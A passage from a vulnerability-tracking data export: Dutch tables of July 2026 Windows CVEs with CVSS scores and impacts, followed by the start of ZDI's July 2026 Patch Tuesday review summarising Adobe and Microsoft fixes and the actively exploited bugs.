| Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:53.934946Z"}, {"uuid": "aea8f4f5-9162-4a4a-9dff-ca9216547c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116920048359536142", "content": "A severe vulnerability was disclosed for Microsoft Windows (CVE-2026-54990) https://vuldb.com/vuln/378518", "creation_timestamp": "2026-07-14T19:45:55.514296Z"}, {"uuid": "504fe12b-9d09-4cba-b37b-1ca5dbeefe1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116920152511826065", "content": "A severe vulnerability was disclosed for Microsoft Windows (CVE-2026-54995) https://vuldb.com/vuln/378533", "creation_timestamp": "2026-07-14T20:12:24.775129Z"}, {"uuid": "b7067509-e5b6-42cb-9ede-fbf0bdc622f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  